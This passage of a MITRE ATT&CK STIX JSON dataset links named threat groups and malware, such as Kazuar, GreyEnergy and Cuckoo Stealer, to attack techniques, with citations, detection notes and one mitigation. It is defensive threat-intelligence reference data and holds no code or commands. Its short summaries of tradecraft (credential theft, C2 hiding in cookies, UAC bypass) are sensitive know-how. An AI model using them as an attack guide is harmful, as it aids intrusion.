2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:10:41.894Z","description":"[PACEMAKER](https://attack.mitre.org/software/S1109) has written extracted data to `tmp/dsserver-check.statementcounters`.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--647215dd-29a6-4528-b354-ca8b5e08fca1","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc9d110c-be6f-4976-90f9-1efde4a668e5","type":"relationship","created":"2021-10-13T22:04:28.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:00.754Z","description":"[Nomadic Octopus](https://attack.mitre.org/groups/G0133) has used PowerShell for execution.(Citation: ESET Nomadic Octopus 2018) ","relationship_type":"uses","source_ref":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc9eae32-f059-4be4-9afa-947eb38a1635","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.","source_ref":"x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fca4685f-76c5-4089-b318-8f2ebab802d0","type":"relationship","created":"2019-04-10T15:21:29.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:34.045Z","description":"(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fca5a1c7-8548-4621-97b5-023572344ae4","type":"relationship","created":"2020-10-19T19:49:24.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-19T19:49:24.478Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73","type":"relationship","created":"2017-05-31T21:33:27.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2019-03-22T18:44:28.655Z","description":"(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd","target_ref":"malware--8b880b41-5139-4807-baa9-309690218719","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fca5e5e4-e615-44d5-901e-225fccd329cc","created":"2024-07-02T17:37:10.082Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T17:37:10.082Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can create a directory in `%TEMP%\\` to stage data prior to exfilration.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fcacc3e1-f343-4013-97cf-ce5d5f700c13","created":"2024-01-04T21:40:29.958Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-04T21:40:29.958Z","description":"[Samurai](https://attack.mitre.org/software/S1099) has the ability to call Windows APIs.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fcad9dc8-fa79-491e-91ec-35a2a9cd55e8","created":"2023-04-05T15:20:42.119Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:20:42.119Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can collect the computer name from a compromised host.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fcb54b68-a92c-49c8-a021-c9e0ef1a402c","created":"2024-08-22T21:00:37.145Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-22T21:00:37.145Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can collect bookmarks, cookies, and history from Safari.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcb6fc55-8fa6-4ec7-a5a3-51de7dd90c1d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2019-09-09T19:12:32.757Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR).(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatExpert Agent.btz","description":"Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.","url":"http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"}],"modified":"2020-03-11T17:45:18.408Z","description":"[Agent.btz](https://attack.mitre.org/software/S0092) attempts to download an encrypted binary from a specified domain.(Citation: ThreatExpert Agent.btz)","relationship_type":"uses","source_ref":"malware--40d3e230-ed32-469f-ba89-be70cc08ab39","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcc1d2e7-f41d-4a06-85c6-f00ea602ddac","type":"relationship","created":"2021-10-17T15:10:00.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.772Z","description":"(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcc47ea4-e7bf-4d33-8601-f2fe47d2021e","type":"relationship","created":"2021-06-25T12:27:20.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-25T12:27:20.373Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcc98412-8534-42d7-873a-6f8a26721e27","type":"relationship","created":"2021-11-22T16:44:34.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-22T16:44:34.380Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can bypass UAC to escalate privileges.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcd1bb08-22c4-4de4-b49e-de945a67cf6b","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor for newly constructed files that may abuse Microsoft Office add-ins to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcd2604b-6954-4bd8-b0c6-22221b6dd1ce","type":"relationship","created":"2020-03-17T18:17:38.300Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-17T18:17:38.300Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) uses cmd.exe to execute commands on the victim’s machine.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcd35640-6e11-4562-a28b-7439ba8ec6f2","type":"relationship","created":"2021-09-16T20:25:00.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Sliver Netstat","url":"https://github.com/BishopFox/sliver/tree/58a56a077f0813bb312f9fa4df7453b510c3a73b/implant/sliver/netstat","description":"BishopFox. (n.d.). Sliver Netstat. Retrieved September 16, 2021."}],"modified":"2021-10-16T02:14:07.893Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can collect network connection information.(Citation: GitHub Sliver Netstat)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fcd3bc09-f88b-43d7-989d-10f7058e655e","created":"2020-05-06T21:31:07.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Okrum July 2019","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T14:27:28.369Z","description":"[Okrum](https://attack.mitre.org/software/S0439) leverages the HTTP protocol for C2 communication, while hiding the actual messages in the Cookie and Set-Cookie headers of the HTTP requests.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcd87644-4e53-4537-9167-5b1e4341b771","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcd9182a-516c-425f-82ec-61cdb0bfc731","type":"relationship","created":"2019-01-30T13:53:14.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-19T22:56:14.310Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) has a module for [Mimikatz](https://attack.mitre.org/software/S0002) to collect Windows credentials from the victim’s machine.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcd9b8a1-60c0-4d6b-9742-77f9104f8e56","type":"relationship","created":"2019-10-14T15:48:05.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.","url":"https://www.bromium.com/how-ursnif-evades-detection/","source_name":"Bromium Ursnif Mar 2017"}],"modified":"2019-10-14T15:48:05.429Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) droppers have used COM properties to execute malware in hidden windows.(Citation: Bromium Ursnif Mar 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcdcb31d-2e52-43f4-a883-c60325a13075","type":"relationship","created":"2020-03-02T14:24:27.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T14:24:27.173Z","relationship_type":"revoked-by","source_ref":"attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fcddadbd-d32b-4cc6-afd4-de3c8629f260","created":"2023-07-28T16:43:13.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.966Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has enumerated all users and roles from a victim's main treasury system.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcdfad8a-73d5-4d8f-ab0d-24f847d675a0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"source_name":"Unit 42 Nokki Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}],"modified":"2019-09-09T19:12:32.988Z","description":"(Citation: FireEye APT37 Feb 2018)(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--0852567d-7958-4f4b-8947-4f840ec8d57d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fcdffbd7-5e2c-40ec-8444-b707fb4947d3","created":"2024-04-17T21:04:09.433Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T21:04:09.433Z","description":"[GLASSTOKEN](https://attack.mitre.org/software/S1117) has hexadecimal and Base64 encoded C2 content.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"malware--554e010d-726b-439d-9a1a-f60fff0cc109","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fce01f90-b298-4a34-8c15-0a84c351ba19","created":"2024-03-07T20:31:41.452Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-07T20:31:41.452Z","description":"[BUSHWALK](https://attack.mitre.org/software/S1118) can encrypt the resulting data generated from C2 commands with RC4.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--29a0bb87-1162-4c83-9834-2a98a876051b","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fce13b14-c974-4de2-9dfb-7ad45bca85f0","created":"2020-02-17T20:44:54.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedLock Instance Metadata API 2018","description":"Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.","url":"https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-08T20:16:58.979Z","description":"Limit access to the Instance Metadata API. A properly configured Web Application Firewall (WAF) may help prevent external adversaries from exploiting Server-side Request Forgery (SSRF) attacks that allow access to the Cloud Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.743Z","description":"A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about the current user name.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fce7fac2-91da-4903-95dc-fb54650c0859","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 